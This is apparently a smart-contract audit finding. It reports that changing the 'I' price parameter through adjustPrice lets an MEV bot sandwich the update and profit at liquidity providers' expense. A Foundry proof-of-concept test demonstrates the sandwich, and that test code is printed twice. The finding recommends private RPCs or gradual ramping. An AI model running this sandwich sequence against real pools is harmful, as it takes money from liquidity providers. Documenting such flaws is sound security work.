Adjusting "_I_" will create a sandwich opportunity because of price changes
Adjusting the value of "I" directly influences the price. This can be exploited by a MEV bot, simply by trading just before the "adjustPrice" function and exiting right after the price change. The profit gained from this operation essentially represents potential losses for the liquidity providers who supplied liquidity to the pool.\\nAs we can see in the docs, the "I" is the "i" value in here and it is directly related with the output amount a trader will receive when selling a quote/base token:\\nSince the price will change, the MEV bot can simply sandwich the tx. Here an example how it can be executed by a MEV bot:\\n```\\nfunction test_Adjusting_I_CanBeFrontrunned() external {\\n        vm.startPrank(tapir);\\n\\n        //  Buy shares with tapir, 10 - 10\\n        dai.safeTransfer(address(gsp), 10 * 1e18);\\n        usdc.transfer(address(gsp), 10 * 1e6);\\n        gsp.buyShares(tapir);\\n\\n        // print some stuff\\n        console.log("Base target initial", gsp._BASE_TARGET_());\\n        console.log("Quote target initial", gsp._QUOTE_TARGET_());\\n        console.log("Base reserve initial", gsp._BASE_RESERVE_());\\n        console.log("Quote reserve initial", gsp._QUOTE_RESERVE_());\\n        \\n        // we know the price will decrease so lets sell the base token before that\\n        uint256 initialBaseTokensSwapped = 5 * 1e18;\\n\\n        // sell the base tokens before adjustPrice\\n        dai.safeTransfer(address(gsp), initialBaseTokensSwapped);\\n        uint256 receivedQuoteTokens = gsp.sellBase(tapir);\\n        vm.stopPrank();\\n\\n        // this is the tx will be sandwiched by the MEV trader\\n        vm.prank(MAINTAINER);\\n        gsp.adjustPrice(999000);\\n\\n        // quickly resell whatever gained by the price update\\n        vm.startPrank(tapir);\\n        usdc.safeTransfer(address(gsp), receivedQuoteTokens);\\n        uint256 receivedBaseTokens = gsp.sellQuote(tapir);\\n        console.log("Base target", gsp._BASE_TARGET_());\\n        console.log("Quote target", gsp._QUOTE_TARGET_());\\n        console.log("Base reserve", gsp._BASE_RESERVE_());\\n        console.log("Quote reserve", gsp._QUOTE_RESERVE_());\\n        console.log("Received base tokens", receivedBaseTokens);\\n\\n        // NOTE: the LP fee and MT FEE is set for this example, so this is not an rough assumption\\n        // where fees are 0. Here the fees set for both of the values (default values):\\n        // uint256 constant LP_FEE_RATE = 10000000000000;\\n        // uint256 constant MT_FEE_RATE = 10000000000000;\\n\\n        // whatever we get is more than we started, in this example\\n        // MEV trader started 5 DAI and we have more than 5 DAI!!\\n        assertGe(receivedBaseTokens, initialBaseTokensSwapped);\\n    }\\n```\\n\\nTest result and logs:\\nAfter the sandwich, we can see that the MEV bot's DAI amount exceeds its initial DAI balance (profits). Additionally, the reserves for both base and quote tokens are less than the initial 10 tokens deposited by the tapir (only LP). The profit gained by the MEV bot essentially translates to a loss for the tapir.\\nAnother note on this is that even though the `adjustPrice` called by MAINTAINER without getting frontrunned, it still creates a big price difference which requires immediate arbitrages. Usually these type of parameter changes that impacts the trades are setted by time via ramping to mitigate the unfair advantages that it can occur during the price update.
Acknowledge the issue and use private RPC's to eliminate front-running or slowly ramp up the "I" so that the arbitrage opportunity is fair
```\\nfunction test_Adjusting_I_CanBeFrontrunned() external {\\n        vm.startPrank(tapir);\\n\\n        //  Buy shares with tapir, 10 - 10\\n        dai.safeTransfer(address(gsp), 10 * 1e18);\\n        usdc.transfer(address(gsp), 10 * 1e6);\\n        gsp.buyShares(tapir);\\n\\n        // print some stuff\\n        console.log("Base target initial", gsp._BASE_TARGET_());\\n        console.log("Quote target initial", gsp._QUOTE_TARGET_());\\n        console.log("Base reserve initial", gsp._BASE_RESERVE_());\\n        console.log("Quote reserve initial", gsp._QUOTE_RESERVE_());\\n        \\n        // we know the price will decrease so lets sell the base token before that\\n        uint256 initialBaseTokensSwapped = 5 * 1e18;\\n\\n        // sell the base tokens before adjustPrice\\n        dai.safeTransfer(address(gsp), initialBaseTokensSwapped);\\n        uint256 receivedQuoteTokens = gsp.sellBase(tapir);\\n        vm.stopPrank();\\n\\n        // this is the tx will be sandwiched by the MEV trader\\n        vm.prank(MAINTAINER);\\n        gsp.adjustPrice(999000);\\n\\n        // quickly resell whatever gained by the price update\\n        vm.startPrank(tapir);\\n        usdc.safeTransfer(address(gsp), receivedQuoteTokens);\\n        uint256 receivedBaseTokens = gsp.sellQuote(tapir);\\n        console.log("Base target", gsp._BASE_TARGET_());\\n        console.log("Quote target", gsp._QUOTE_TARGET_());\\n        console.log("Base reserve", gsp._BASE_RESERVE_());\\n        console.log("Quote reserve", gsp._QUOTE_RESERVE_());\\n        console.log("Received base tokens", receivedBaseTokens);\\n\\n        // NOTE: the LP fee and MT FEE is set for this example, so this is not an rough assumption\\n        // where fees are 0. Here the fees set for both of the values (default values):\\n        // uint256 constant LP_FEE_RATE = 10000000000000;\\n        // uint256 constant MT_FEE_RATE = 10000000000000;\\n\\n        // whatever we get is more than we started, in this example\\n        // MEV trader started 5 DAI and we have more than 5 DAI!!\\n        assertGe(receivedBaseTokens, initialBaseTokensSwapped);\\n    }\\n```\\n